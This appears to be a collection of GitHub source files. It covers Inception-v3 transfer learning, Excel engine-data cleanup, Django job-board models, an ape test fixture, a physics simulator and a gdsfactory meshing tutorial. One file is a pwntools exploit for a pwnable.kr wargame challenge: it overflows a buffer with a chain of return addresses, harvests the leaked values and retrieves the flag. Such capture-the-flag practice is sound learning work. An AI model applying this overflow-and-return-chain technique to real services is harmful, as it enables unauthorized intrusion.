下载的谷歌inception-v3模型文件目录\nMODEL_DIR = '/tensorflow_google/inception_model'\n\n# 下载的训练好的模型文件名\nMODEL_FILE = 'tensorflow_inception_graph.pb'\n\n# 将原始图像通过inception-v3模型计算得到的特征向量保存在文件中,下面定义文件存放地址\nCACHE_DIR = '/tensorflow_google/bottleneck'\n\n# 图片数据文件夹,子文件为类别\nINPUT_DATA = '/tensorflow_google/flower_photos'\n\n# 验证的数据百分比\nVALIDATION_PRECENTAGE = 10\n# 测试的数据百分比\nTEST_PRECENTAGE = 10\n\n# 定义神经网络的参数\nLEARNING_RATE = 0.01\nSTEPS = 4000\nBATCH = 100\n\n\n# 从数据文件夹中读取所有的图片列表并按训练、验证、测试数据分开\n# testing_percentage和validation_percentage指定测试和验证数据集的大小\ndef create_image_lists(testing_percentage, validation_percentage):\n # 得到的图片放到result字典中,key为类别名称,value为类别下的各个图片(也是字典)\n result = {}\n # 获取当前目录下所有的子目录\n sub_dirs = [x[0] for x in os.walk(INPUT_DATA)]\n # sub_dirs中���一个目录是当前目录,即flower_photos,不用考虑\n is_root_dir = True\n for sub_dir in sub_dirs:\n if is_root_dir:\n is_root_dir = False\n continue\n\n # 获取当前目录下所有的有效图片文件\n extensions = ['jpg', 'jpeg', 'JPG', 'JPEG']\n file_list = []\n # 获取当前文件名\n dir_name = os.path.basename(sub_dir)\n for extension in extensions:\n # 将分离的各部分组成一个路径名,如/flower_photos/roses/*.JPEG\n file_glob = os.path.join(INPUT_DATA, dir_name, '*.'+extension)\n # glob.glob()返回的是所有路径下的符合条件的文件名的列表\n file_list.extend(glob.glob(file_glob))\n if not file_list: continue\n\n # 通过目录名获取类别的名称(全部小写)\n label_name = dir_name.lower()\n # 初始化当前类别的训练数据集、测试数据集和验证数据集\n training_images = []\n testing_images = []\n validation_images = []\n for file_name in file_list:\n base_name = os.path.basename(file_name) #获取当前文件名\n # 随机将数据分到训练数据集、测试数据集以及验证数据集\n chance = np.random.randint(100) #随机返回一个整数\n if chance < validation_percentage:\n validation_images.append(base_name)\n elif chance < (testing_percentage + validation_percentage):\n testing_images.append(base_name)\n else:\n training_images.append(base_name)\n\n # 将当前类别的数据放入结果字典\n result[label_name] = {'dir': dir_name, 'training': training_images,\n 'testing': testing_images, 'validation': validation_images}\n return result\n\n\n# 通过类别名称、所属数据集和图片编号获取一张图片的地址\n# image_lists为所有图片信息,image_dir给出根目录,label_name为类别名称,index为图片编号,category指定图片是在哪个训练集\ndef get_image_path(image_lists, image_dir, label_name, index, category):\n # 获取给定类别中所有图片的信息\n label_lists = image_lists[label_name]\n # 根据所属数据集的名称获取集合中的全部图片信息\n category_list = label_lists[category]\n mod_index = index % len(category_list)\n # 获取图片的文件名\n base_name = category_list[mod_index]\n sub_dir = label_lists['dir']\n # 最终的地址为数据根目录的地址加上类别的文件夹加上图片的名称\n full_path = os.path.join(image_dir, sub_dir, base_name)\n return full_path\n\n\n# 通过类别名称、所属数据集和图片编号经过inception-v3处理之后的特征向量文件地址\ndef get_bottleneck_path(image_lists, label_name, index, category):\n return get_image_path(image_lists, CACHE_DIR, label_name, index, category)+'.txt'\n\n\n# 使用加载的训练好的网络处理一张图片,得到这个图片的特征向量\ndef run_bottleneck_on_image(sess, image_data, image_data_tensor, bottleneck_tensor):\n # 将当前图片作为输入,计算瓶颈张量的值\n # 这个张量的值就是这张图片的新的特征向量\n bottleneck_values = sess.run(bottleneck_tensor, {image_data_tensor: image_data})\n # 经过卷积神经网络处理的结果是一个四维数组,需要将这个结果压缩成一个一维数组\n bottleneck_values = np.squeeze(bottleneck_values) #从数组的形状中删除单维条目\n return bottleneck_values\n\n\n# 获取一张图片经过inception-v3模型处理之后的特征向量\n# 先寻找已经计算并且保存的向量,若找不到则计算然后保存到文件\ndef get_or_create_bottleneck(sess, image_lists, label_name, index, category,\n jpeg_data_tensor, bottleneck_tensor):\n # 获取一张图片对应的特征向量文件路径\n label_lists = image_lists[label_name]\n sub_dir = label_lists['dir']\n sub_dir_path = os.path.join(CACHE_DIR, sub_dir)\n if not os.path.exists(sub_dir_path):\n os.makedirs(sub_dir_path) #若不存在则创建\n bottleneck_path = get_bottleneck_path(image_lists, label_name, index, category)\n\n # 如果这个特征向量文件不存在,则通过inception-v3计算,并存入文件\n if not os.path.exists(bottleneck_path):\n # 获取原始的图片路径\n image_path = get_image_path(image_lists, INPUT_DATA, label_name, index, category)\n # 获取图片内容,对图片的读取\n image_data = gfile.FastGFile(image_path, 'rb').read()\n # 通过inception-v3计算特征向量\n bottleneck_values = run_bottleneck_on_image(sess, image_data, jpeg_data_tensor, bottleneck_tensor)\n # 将计算得到的特征向量存入文件,join()连接字符串\n bottleneck_string = ','.join(str(x) for x in bottleneck_values)\n with open(bottleneck_path, 'w') as bottleneck_file: #打开文件并写入\n bottleneck_file.write(bottleneck_string)\n else:\n # 直接从文件中获取图片相应的特征向量\n with open(bottleneck_path, 'r') as bottleneck_file:\n bottleneck_string = bottleneck_file.read()\n bottleneck_values = [float(x) for x in bottleneck_string.split(',')]\n # 返回特征向量\n return bottleneck_values\n\n\n# 随机选取一个batch的图片作为训练数据\ndef get_random_cached_bottlenecks(sess, n_classes, image_lists, how_many, category,\n jpeg_data_tensor, bottleneck_tensor):\n bottlenecks = []\n ground_truths = []\n for _ in range(how_many):\n # 随机一个类别和图片的编号加入当前的训练数据\n label_index = random.randrange(n_classes) # 返回指定递增基数集合中的一个随机数,基数缺省值为1,随机类别号\n label_name = list(image_lists.keys())[label_index]\n image_index = random.randrange(65536)\n bottleneck = get_or_create_bottleneck(sess, image_lists, label_name, image_index,\n category, jpeg_data_tensor, bottleneck_tensor)\n ground_truth = np.zeros(n_classes, dtype=np.float32)\n ground_truth[label_index] = 1.0\n bottlenecks.append(bottleneck)\n ground_truths.append(ground_truth)\n\n return bottlenecks, ground_truths\n\n\n# 获取全部的测试数据,在最终测试的时候在所有测试数据上计算正确率\ndef get_test_bottlenecks(sess, image_lists, n_classes, jpeg_data_tensor, bottleneck_tensor):\n bottlenecks = []\n ground_truths = []\n label_name_list = list(image_lists.keys())\n # 枚举所有类别和每个类别中的测试图片\n for label_index, label_name in enumerate(label_name_list):\n category = 'testing'\n for index, unused_base_name in enumerate(image_lists[label_name][category]):\n # 通过inception-v3计算图片对应的特征向量,并将其加入最终数据的列表\n bottleneck = get_or_create_bottleneck(sess, image_lists, label_name, index, category,\n jpeg_data_tensor, bottleneck_tensor)\n ground_truth = np.zeros(n_classes, dtype=np.float32)\n ground_truth[label_index] = 1.0\n bottlenecks.append(bottleneck)\n ground_truths.append(ground_truth)\n return bottlenecks, ground_truths\n\n\ndef main(_):\n # 读取所有图片\n image_lists = create_image_lists(TEST_PRECENTAGE, VALIDATION_PRECENTAGE)\n # image_lists.keys()为dict_keys(['roses', 'sunflowers', 'daisy', 'dandelion', 'tulips'])\n n_classes = len(image_lists.keys()) # 类别数\n # 读取已经训练好的inception-v3模型,谷歌训练好的模型保存在了GraphDef Protocol Buffer中\n # 里面保存了每一个节点取值的计算方法以及变量的取值\n # 对模型的读取,二进制\n with gfile.FastGFile(os.path.join(MODEL_DIR, MODEL_FILE), 'rb') as f:\n # 新建GraphDef文件,用于临时载入模型中的图\n graph_def = tf.GraphDef()\n # 加载模型中的图\n graph_def.ParseFromString(f.read())\n # 加载读取的inception模型,并返回数据输出所对应的张量以及计算瓶颈层结果所对应的张量\n # 从图上读取张量,同时把图设为默认图\n # Tensor(\"import/pool_3/_reshape:0\", shape=(1, 2048), dtype=float32)\n # Tensor(\"import/DecodeJpeg/contents:0\", shape=(), dtype=string)\n bottleneck_tensor, jpeg_data_tensor = tf.import_graph_def(graph_def, return_elements=[BOTTLENECT_TENSOR_NAME,\n JPEG_DATA_TENSOR_NAME])\n\n # 定义新的神经网络输入,这个输入就是新的图片经过inception模型前向传播达到瓶颈层的节点取值,None为了batch服务\n bottleneck_input = tf.placeholder(tf.float32, [None, BOTTLENECT_TENSOR_SIZE],\n name='BottleneckInputPlaceholder')\n # 定义新的标准答案\n ground_truth_input = tf.placeholder(tf.float32, [None, n_classes], name='GroundTruthInput')\n\n # 定义一层全连接层来解决新的图片分类问题\n with tf.name_scope('final_training_ops'):\n weights = tf.Variable(tf.truncated_normal([BOTTLENECT_TENSOR_SIZE, n_classes], stddev=0.001))\n biases = tf.Variable(tf.zeros([n_classes]))\n logits = tf.matmul(bottleneck_input, weights) + biases\n final_tensor = tf.nn.softmax(logits)\n\n # 定义交叉熵损失函数\n # tf.nn.softmax中dim默认为-1,即tf.nn.softmax会以最后一个维度作为一维向量计算softmax\n cross_entropy = tf.nn.softmax_cross_entropy_with_logits(logits=logits, labels=ground_truth_input)\n cross_entropy_mean = tf.reduce_mean(cross_entropy)\n train_step = tf.train.GradientDescentOptimizer(LEARNING_RATE).minimize(cross_entropy_mean)\n\n # 计算正确率\n with tf.name_scope('evaluation'):\n correct_prediction = tf.equal(tf.argmax(final_tensor, 1), tf.argmax(ground_truth_input, 1))\n # 平均错误率,cast将bool值转成float\n evaluation_step = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n\n with tf.Session() as sess:\n init = tf.initialize_all_variables()\n sess.run(init)\n\n # 训练过程\n for i in range(STEPS):\n # 每次获取一个batch的训练数据\n train_bottlenecks, train_ground_truth = get_random_cached_bottlenecks\\\n (sess, n_classes, image_lists, BATCH, 'training', jpeg_data_tensor, bottleneck_tensor)\n sess.run(train_step, feed_dict={bottleneck_input: train_bottlenecks,\n ground_truth_input: train_ground_truth})\n\n # 在验证数据上测试正确率\n if i % 100 == 0 or i+1 == STEPS:\n validation_bottlenecks, validation_ground_truth = \\\n get_random_cached_bottlenecks(sess, n_classes, image_lists, BATCH,\n 'validation', jpeg_data_tensor, bottleneck_tensor)\n validation_accuracy = sess.run(evaluation_step,\n feed_dict={bottleneck_input: validation_bottlenecks,\n ground_truth_input: validation_ground_truth})\n print('Step %d :Validation accuracy on random sampled %d examples = %.1f%%' %\n (i, BATCH, validation_accuracy*100))\n\n # 在最后的测试数据上测试正确率\n test_bottlenecks, test_ground_truth = get_test_bottlenecks(sess, image_lists, n_classes,\n jpeg_data_tensor, bottleneck_tensor)\n test_accuracy = sess.run(evaluation_step, feed_dict={bottleneck_input: test_bottlenecks,\n ground_truth_input: test_ground_truth})\n print('Final test accuracy = %.1f%%' % (test_accuracy*100))\n\n\nif __name__ == '__main__':\n tf.app.run()","repo_name":"TimeIvyace/TensorFlow_Migration-learning_Inception-v3","sub_path":"migration learning.py","file_name":"migration learning.py","file_ext":"py","file_size_in_byte":14039,"program_lang":"python","lang":"zh","doc_type":"code","stars":6,"dataset":"github-code","pt":"48"} +{"seq_id":"5906450235","text":"from pwn import *\n\nconn = remote('pwnable.kr', 9032)\nsleep(2)\nconn.sendline(b'1')\nconn.clean()\n\njunk_before_ret = ('A' * 120).encode('utf-8')\n\nA_address = p32(0x0809fe4b)\nB_address = p32(0x0809fe6a)\nC_address = p32(0x0809fe89)\nD_address = p32(0x0809fea8)\nE_address = p32(0x0809fec7)\nF_address = p32(0x0809fee6)\nG_address = p32(0x0809ff05)\n\nmain_call_to_ropme = p32(0x0809fffc)\n\ninputt = junk_before_ret + A_address + B_address + C_address + D_address + E_address + F_address + G_address + main_call_to_ropme\n\nconn.sendline(inputt)\nconn.recvline()\nsum = 0\n\nfor i in range(7):\n horcrux_line = conn.recvline(keepends=False).decode()\n\n horcrux_value = horcrux_line.split('+')[1][:-1]\n \n print(horcrux_value)\n \n sum += int(horcrux_value)\n\nconn.sendline(b'1')\nconn.clean()\n\nprint('sum:' + str(sum))\nconn.sendline(str(sum).encode('utf-8'))\nflag = conn.recvline(keepends=False).decode()\n\nprint(flag)\n","repo_name":"DanielSegal1/pwnable","sub_path":"horcruxes/exploit.py","file_name":"exploit.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29413951503","text":"import pandas as pd\n\ndata = pd.read_excel(\"EngRpm.XLS\")\n\nnew_data = data[['Gr[]', 'WhlRPM_FL[rpm]', 'EngRPM[rpm]', 'AccelPdlPosn[%]', 'EngTrq[Nm]',\n 'EngRPM[rpm]']] # to print new column of your choice\ndata.dropna(inplace=False)\n\n# print new_data[(new_data['Gr[]'].notnull())|(new_data['WhlRPM_FL[rpm]'].notnull())].head(500)\ndata = new_data[(new_data['WhlRPM_FL[rpm]'].notnull())]\n# print datasets[(datasets['Pclass']>1) & (datasets['Age']>25)].head()\n# print new_data ['Gr[]'].isnull().sum()\n# print new_data ['WhlRPM_FL[rpm]'].isnull().sum()\n# print data['WhlRPM_FL[rpm]'].notnull().sum()\n# print data['Gr[]'].notnull().sum()\n\n# new_data=new_data.replace(np.nan,'pizza')\n\ndata = data.fillna(method='ffill')\nprint(data.head(20))\nprint(data.info())\nprint(data.shape)\ndata.to_csv(\"MY_refine_engine_data\", sep='\\t')\n# data.to_excel(\"MY_refine_engine_data1\",'Sheet1')\n\nwriter = pd.ExcelWriter('pandas_simple.xlsx', engine='xlsxwriter')\n\n# Convert the dataframe to an XlsxWriter Excel object.\ndata.to_excel(writer, sheet_name='Sheet1')\n\n# Close the Pandas Excel writer and output the Excel file.\nwriter.save()\n","repo_name":"mayanks888/AI","sub_path":"Data Analytics/Engine data analysis.py","file_name":"Engine data analysis.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"1043877181","text":"#coding: utf-8\nfrom django.db import models\nfrom django.contrib.auth.models import User\nfrom django.core.exceptions import ValidationError\nfrom datetime import date\nfrom EmploymentAgency.settings import *\n\n\ndef content_file_name(instance, filename):\n return '/'.join([MEDIA_ROOT, instance.profile.user.username, filename])\n\n\nCURRENCY = (\n ('BLR', 'Бел. руб.'),\n ('USD', '$'),\n ('EUR', '₠'),\n)\n\n\nclass Profile(models.Model):\n user = models.OneToOneField(User, verbose_name=\"Пользователь\")\n phone1 = models.CharField(max_length=30, null=True, blank=True, verbose_name=\"Телефон №1\")\n phone2 = models.CharField(max_length=30, null=True, blank=True, verbose_name=\"Телефон №2\")\n email = models.EmailField(max_length=50, null=True, blank=True, verbose_name=\"Email\")\n skype = models.CharField(max_length=50, null=True, blank=True, verbose_name=\"Skype\")\n icq = models.IntegerField(max_length=9, null=True, blank=True, verbose_name=\"ICQ\")\n\n def is_applicant(self):\n return Applicant.objects.filter(profile=self).count() > 0\n\n def is_employer(self):\n return Employer.objects.filter(profile=self).count() > 0\n\n def __unicode__(self):\n return self.user.username\n\n\nclass Applicant(models.Model):\n profile = models.ForeignKey(Profile)\n full_name = models.CharField(max_length=100, verbose_name=\"Фамилия Имя Отчество\")\n birth_date = models.DateField(null=True, blank=True, verbose_name=\"Дата рождения\")\n photo = models.ImageField(null=True, blank=True, upload_to=content_file_name, verbose_name=\"Фото\")\n\n def age(self):\n if self.birth_date is None:\n return None\n return int((date.today() - self.birth_date).days / 365.25)\n\n def default_response(self):\n hello = u\"Здавствуйте. \"\n name = u\"Меня зовут %s. \" % self.full_name\n age = u\"Мне %s лет. \" % self.age()\n response = u\"Я хотел(а) бы с вами сотрудничать. \"\n contacts = u\"\\nСвязаться со мной можно по: \"\n phone1 = u\"\\n > тел. %s.\" % self.profile.phone1\n phone2 = u\"\\n > тел. %s.\" % self.profile.phone2\n email = u\"\\n > Email: %s. \" % self.profile.email\n skype = u\"\\n > Skype: %s. \" % self.profile.skype\n icq = u\"\\n > ICQ: %s.\" % self.profile.icq\n\n text = hello\n if self.full_name:\n text += name\n if self.age() > 0:\n text += age\n text += response + contacts\n if self.profile.phone1:\n text += phone1\n if self.profile.phone2:\n text += phone2\n if self.profile.email:\n text += email\n if self.profile.skype:\n text += skype\n if self.profile.icq:\n text += icq\n\n return text\n\n def __unicode__(self):\n return self.profile.user.username\n\n\nclass Employer(models.Model):\n profile = models.ForeignKey(Profile)\n title = models.CharField(max_length=100, verbose_name=\"Наименование организации\")\n logo = models.ImageField(null=True, blank=True, upload_to=content_file_name, verbose_name=\"Лого\")\n\n def __unicode__(self):\n return self.profile.user.username\n\n\nclass Vacancy(models.Model):\n employer = models.ForeignKey(Employer, verbose_name=\"Работодатель\")\n profession = models.CharField(max_length=100, verbose_name=\"Профессия\")\n position = models.CharField(max_length=100, blank=True, null=True, verbose_name=\"Должность\")\n salary_currency = models.CharField(max_length=10, choices=CURRENCY, blank=True, null=True, verbose_name=\"Ден. ед.\")\n salary_min = models.PositiveIntegerField(blank=True, null=True, verbose_name=\"Минимальная заработная плата\")\n salary_max = models.PositiveIntegerField(blank=True, null=True, verbose_name=\"Максимальная заработная плата\")\n age_min = models.PositiveSmallIntegerField(blank=True, null=True, verbose_name=\"Минимальный возраст\")\n age_max = models.PositiveSmallIntegerField(blank=True, null=True, verbose_name=\"Максимальный возраст\")\n details = models.TextField(blank=True, null=True, verbose_name=\"Дополнительная информация\")\n publish_date = models.DateTimeField(auto_now=True, verbose_name=\"Дата последнего изменения\")\n\n def clean(self):\n if self.age_min and self.age_max:\n if self.age_min > self.age_max:\n raise ValidationError('Минимальный возраст не может быть боль��е максимального')\n if self.salary_min and self.salary_max:\n if self.salary_min > self.salary_max:\n raise ValidationError('Минимальная З/П не может быть больше максимальной')\n if self.salary_min or self.salary_max:\n if not self.salary_currency:\n raise ValidationError('Укажите денежную единицу для З/П')\n\n def __unicode__(self):\n organization = u\"Предприятию %s \" %self.employer.title\n position = u\"на должность %s \" % self.position\n profession = u\"требуется %s. \" % self.profession\n salary = u\"Заработная плата: \"\n salary_min = u\"от %s \" % self.salary_min\n salary_max = u\"до %s \" % self.salary_max\n salary_currency = u\"%s. \" %self.salary_currency\n age = u\"Возраст:\"\n age_min = u\" от %s\" % self.age_min\n age_max = u\" до %s\" % self.age_max\n age_postfix = u\" лет. \"\n details = u\"Дополнительная информация: %s. \" % self.details\n\n text = organization\n if self.position:\n text +=position\n text += profession\n if self.salary_min or self.salary_max:\n text += salary\n if self.salary_min:\n text += salary_min\n if self.salary_max:\n text += salary_max\n text += salary_currency\n if self.age_min or self.age_max:\n text += age\n if self.age_min:\n text += age_min\n if self.age_max:\n text += age_max\n text += age_postfix\n if self.details:\n text += details\n\n return text\n\n\nclass Response(models.Model):\n applicant = models.ForeignKey(Applicant, verbose_name=\"Соискатель\")\n vacancy = models.ForeignKey(Vacancy, verbose_name=\"Вакансия\")\n text = models.TextField(verbose_name='Текст отклика')\n response_date = models.DateTimeField(auto_now=True, verbose_name=\"Дата отклика\")\n\n def __unicode__(self):\n return self.text\n\n class Meta:\n unique_together = (\"applicant\", \"vacancy\")\n\n\nclass Application(models.Model):\n applicant = models.ForeignKey(Applicant, verbose_name=\"Соискатель\")\n profession = models.CharField(max_length=100, verbose_name=\"Профессия\")\n salary_min = models.PositiveIntegerField(blank=True, null=True, verbose_name=\"Минимальная заработная плата\")\n salary_currency = models.CharField(max_length=10, choices=CURRENCY, blank=True, null=True, verbose_name=\"Ден. ед.\")\n experience = models.PositiveSmallIntegerField(blank=True, null=True, verbose_name=\"Стаж работы\")\n details = models.TextField(blank=True, null=True, verbose_name=\"Дополнительная информация\")\n publish_date = models.DateTimeField(auto_now=True, verbose_name=\"Дата последнего изменения\")\n\n def __unicode__(self):\n name = u\"Меня зовут %s. \" % self.applicant.full_name\n age = u\"Мне %s лет. \" % self.applicant.age()\n profession = u\"Ищу работу по специальности: %s. \" % self.profession\n experience = u\"Имею опыт работы по специальности: %s лет. \" % self.experience\n salary = u\"Требования к зарплате: от %s %s. \" % (self.salary_min, self.salary_currency)\n details = u\"Дополнительная информация: %s. \" % self.details\n\n text = u\"\"\n if self.applicant.full_name:\n text += name\n if self.applicant.age() > 0:\n text += age\n text += profession\n if self.experience:\n text += experience\n if self.salary_min:\n text += salary\n if self.details:\n text += details\n\n return text\n\n\n","repo_name":"lightness/EmploymentAgency","sub_path":"app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":8752,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"29436695452","text":"import datetime\nimport json\nimport logging\nimport os\nimport shutil\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\n\nimport pytest\n\n\n@pytest.fixture(autouse=True)\ndef setup_logger():\n logging.basicConfig(\n format=\"%(levelname)s %(name)s.%(funcName)s: %(message)s [%(filename)s:%(lineno)s]\",\n force=True,\n )\n logging.getLogger(\"urllib3.connectionpool\").setLevel(\"WARNING\")\n logging.getLogger(\"ape\").setLevel(\"ERROR\")\n\n\n@pytest.fixture(scope=\"session\", autouse=True)\ndef preserve_ape_data_dir():\n \"\"\"backup and restore ape data and ape project data, keeping archive copy of state after tests\"\"\"\n ape_data_dir = Path.home().resolve() / \".ape\"\n ape_project_dir = Path(\".\") / \".ape\"\n test_archive_dir = (\n Path(\".\")\n / \"test_ape_data\"\n / datetime.datetime.now().strftime(\"%Y%m%d%H%M%S\")\n )\n test_archive_dir.mkdir(parents=True)\n with TemporaryDirectory() as temp_dir:\n backup_ape_data_dir = Path(temp_dir) / \"data\"\n shutil.copytree(ape_data_dir, backup_ape_data_dir)\n shutil.rmtree(ape_data_dir)\n ape_data_dir.mkdir()\n backup_ape_project_dir = Path(temp_dir) / \"projects\"\n shutil.copytree(ape_project_dir, backup_ape_project_dir)\n shutil.rmtree(ape_project_dir)\n ape_project_dir.mkdir()\n try:\n yield True\n finally:\n shutil.copytree(ape_data_dir, test_archive_dir / \"data\")\n shutil.rmtree(ape_data_dir)\n shutil.copytree(backup_ape_data_dir, ape_data_dir)\n shutil.copytree(ape_project_dir, test_archive_dir / \"projects\")\n shutil.rmtree(ape_project_dir)\n shutil.copytree(backup_ape_project_dir, ape_project_dir)\n\n\n@pytest.fixture\ndef test_contract_data(shared_datadir):\n contract_data_file = shared_datadir / \"test_contract.json\"\n return json.loads(contract_data_file.read_text())\n\n\n@pytest.fixture\ndef contract_address(test_contract_data):\n return test_contract_data[\"address\"]\n\n\n@pytest.fixture\ndef contract_abi(test_contract_data):\n return test_contract_data[\"abi\"]\n\n\n@pytest.fixture\ndef abi_map_dict(contract_address, contract_abi):\n return {contract_address: contract_abi}\n\n\n@pytest.fixture\ndef abi_map_file(abi_map_dict, shared_datadir):\n map_file = shared_datadir / \"abi_map.json\"\n map_file.write_text(json.dumps(abi_map_dict))\n return map_file\n\n\n@pytest.fixture\ndef patched_env_ape_dirs(monkeypatch, shared_datadir, abi_map_file):\n monkeypatch.setenv(\"APE_PROJECT_DIR\", str(shared_datadir / \"ape_project\"))\n monkeypatch.setenv(\"APE_DATA_DIR\", str(shared_datadir / \"ape_data\"))\n yield True\n\n\n@pytest.fixture\ndef patched_env_abi_file(monkeypatch, abi_map_file):\n monkeypatch.setenv(\"APE_ABI_FILE\", str(abi_map_file))\n yield True\n\n\n@pytest.fixture\ndef txn_hash():\n return \"0x96823521c0c1999e4c1023279a1b4ef343649d37ac5f5b50a5fc7264064cb0ac\"\n\n\n@pytest.fixture\ndef owner_address():\n return \"0x27566e752e56D403fB436C8b7031e7fcc75b6b4f\"\n\n\n@pytest.fixture\ndef owner_private_key():\n return os.environ[\"TEST_ACCOUNT_PRIVATE_KEY\"]\n","repo_name":"rstms/ape-apeman","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":3099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33802866587","text":"import math\nfrom Object3D import *\nimport numpy as np\nfrom Util3D import *\n\n\nclass PhysicsSimulator:\n def __init__(self, simulationSlowdown=4000, gravityAcceleration=9.8, checkCollisions = True):\n self.simulationSlowdown = simulationSlowdown\n self.gravityAcceleration = gravityAcceleration\n self.checkCollisions = checkCollisions\n self.simFloor = True\n self.simGravity = True\n self.simulate = False\n\n def simulatePhysics(self, elapsedTime, sceneObjects):\n elapsedTime /= float(self.simulationSlowdown)\n if (self.simulate):\n for sceneObject in sceneObjects:\n sceneObject.update(elapsedTime)\n if (self.checkCollisions):\n self.simulateCollisions(elapsedTime, sceneObjects)\n if (self.simGravity):\n self.simulateGravity(elapsedTime, sceneObjects)\n if (self.simFloor):\n self.simulateFloor(elapsedTime, sceneObjects)\n\n def simulateCollisions(self, elapsedTime, sceneObjects):\n objectCount = len(sceneObjects)\n collision = False\n for i in range(objectCount):\n if (sceneObjects[i].checkCollisions):\n for j in range(i + 1, objectCount):\n objectA = sceneObjects[i]\n objectB = sceneObjects[j]\n if (objectB.checkCollisions):\n if (objectA.intersects(objectB)):\n collision = True\n v1 = objectA.velocity\n v2 = objectB.velocity\n # pull the two objects out of each other (because they've intersected)\n objectA.position -= objectA.velocity * 2\n objectA.update(elapsedTime)\n objectB.position -= objectB.velocity * 2\n objectB.update(elapsedTime)\n\n # perform collision\n self.collide(objectA, objectB, v1, v2)\n objectA.update(elapsedTime)\n objectB.update(elapsedTime)\n # let each object have the chance to do something special on a collision\n objectA.collisionCallback(objectB, v1, v2)\n objectB.collisionCallback(objectA, v2, v1)\n\n # https://en.wikipedia.org/wiki/Elastic_collision\n def collide(self, objectA, objectB, v1, v2):\n # v1 = objectA.velocity\n # v2 = objectB.velocity\n m1 = float(objectA.mass)\n m2 = float(objectB.mass)\n x1 = objectA.position\n x2 = objectB.position\n bottom1 = math.pow(magnitude(x1 - x2), 2)\n bottom2 = math.pow(magnitude(x2 - x1), 2)\n if (bottom1 == 0):\n bottom1 = 1\n if (bottom2 == 0):\n bottom2 = 1\n v1New = v1 - ((2 * m2) / (m1 + m2)) * ((v1 - v2).dot(x1 - x2) / bottom1) * (x1 - x2)\n v2New = v2 - ((2 * m1) / (m1 + m2)) * ((v2 - v1).dot(x2 - x1) / bottom2) * (x2 - x1)\n objectA.velocity = v1New\n objectB.velocity = v2New\n\n def simulateGravity(self, elapsedTime, sceneObjects):\n for sceneObject in sceneObjects:\n sceneObject.velocity[1] -= self.gravityAcceleration * elapsedTime\n\n def simulateFloor(self, elapsedTime, sceneObjects):\n for sceneObject in sceneObjects:\n if (sceneObject.position[1] <= 0):\n sceneObject.position[1] = 0\n sceneObject.velocity[1] = 0\n # facingVector = sceneObject.look - sceneObject.position\n sideVector = np.array(\n [-sceneObject.look[2], 0, sceneObject.look[0]], dtype=float)\n\n angle = angleBetween(sceneObject.look, sceneObject.velocity)\n percSide = (angle / 90.0)\n frictionCoefficient = (\n 1 - percSide) * sceneObject.friction[0] + percSide * sceneObject.friction[2]\n frictionMagnitude = sceneObject.mass * \\\n self.gravityAcceleration * frictionCoefficient\n velocityUnit = np.copy(sceneObject.velocity)\n velocityUnit[1] = 0\n velocityUnit = makeUnitVector(velocityUnit)\n friction = velocityUnit * frictionMagnitude\n objectSpeed = magnitude(sceneObject.velocity)\n if (objectSpeed < magnitude(friction) or objectSpeed < 0.001):\n sceneObject.velocity[0] = 0\n sceneObject.velocity[2] = 0\n else:\n sceneObject.velocity -= friction\n","repo_name":"WestRyanK/Render-Pipeline","sub_path":"PhysicsSimulator.py","file_name":"PhysicsSimulator.py","file_ext":"py","file_size_in_byte":4670,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"40596461657","text":"# # Meshing introduction\n#\n# gdsfactory has interfaces to external meshers (currently: [gmsh](https://gmsh.info/)).\n#\n# Using a gdsfactory `Component` and a `Layerstack` reflecting the post-fabrication structure, you can automatically generate a 2D or 3D mesh suitable for physical simulation.\n#\n# Within gdsfactory, this interface is currently used for:\n#\n# * [finite-volume](https://en.wikipedia.org/wiki/Finite_volume_method) simulation through a [DEVSIM](https://devsim.org/) plugin, for e.g. TCAD simulations\n# * [finite-element](https://en.wikipedia.org/wiki/Finite_element_method) simulation through the [femwell](https://github.com/HelgeGehring/femwell) wrapper around [scikit-fem](https://scikit-fem.readthedocs.io/en/latest/), for e.g. mode solving and thermal simulations\n#\n# Current features include:\n#\n# * GDS postprocessing -- common interface for layout and simulation\n# * A generic shapely <--> gmsh translator, which properly reuses gmsh objects, resulting in conformal handling of\n# * lateral interfaces\n# * vertical interfaces\n# * polygon inclusions\n# * polygon \"holes\"\n# * 2D meshing of in-plane cross-sections (e.g. x - y)\n# * 2D meshing of out-of-plane cross-sections (e.g. arbitrary xy line - z)\n# * (In progress) 3D meshing\n# * The mesh is returned tagged with LayerStack `label` for each GDS layer according to a specific `mesh_order`\n# * All interfaces between layer entities are also tagged as `label1___label2` to e.g. implement interfacial boundary conditions\n# * Dummy layers can be easily introduced in a component to provide extra lines and polygons with custom labels to e.g. implement boundary conditions, sources, etc.\n# * Coarse resolution setting per label, and around interfaces\n# * Fine resolution setting with callable `[x,y,z,mesh_size]` functions (useful for simulation-driven refinement)\n#\n#\n# GMSH can be used one of two ways:\n#\n# * The traditional “bottom-up” way, where the user manually defines points, then line segments (from points), then lines (from segments), then closed curves (from lines), then surfaces (from curves), then closed shells (from surfaces), and finally volumes (from shells).\n# * With CAD-type boolean operations (set operations on objects)\n#\n# While the latter method is much simpler for complex geometries, as of 2022 it does not preserve physical and mesh information, requiring manual \"retagging\" of the entities after the boolean operations, and driving its complexity back to bottom-up construction (especially for arbitrary geometries).\n#\n# As such, gdsfactory uses the first approach, where the mask layers and a layer_stack are used as a guide to define the various physical entities, which are returned as tagged objects to the user.\n#\n# ## Installation\n#\n# You can install the meshing plugins with `pip install gplugins[gmsh]`.\n#\n# Because PyVista does not work properly on headless systems we use Meshio.\n\n# ## Usage\n#\n# First, you can start with a gdsfactory `Component`\n\n# +\nimport gdsfactory as gf\nimport meshio\nfrom gdsfactory.generic_tech import LAYER_STACK, get_generic_pdk\nfrom gdsfactory.technology import LayerStack\nfrom skfem.io import 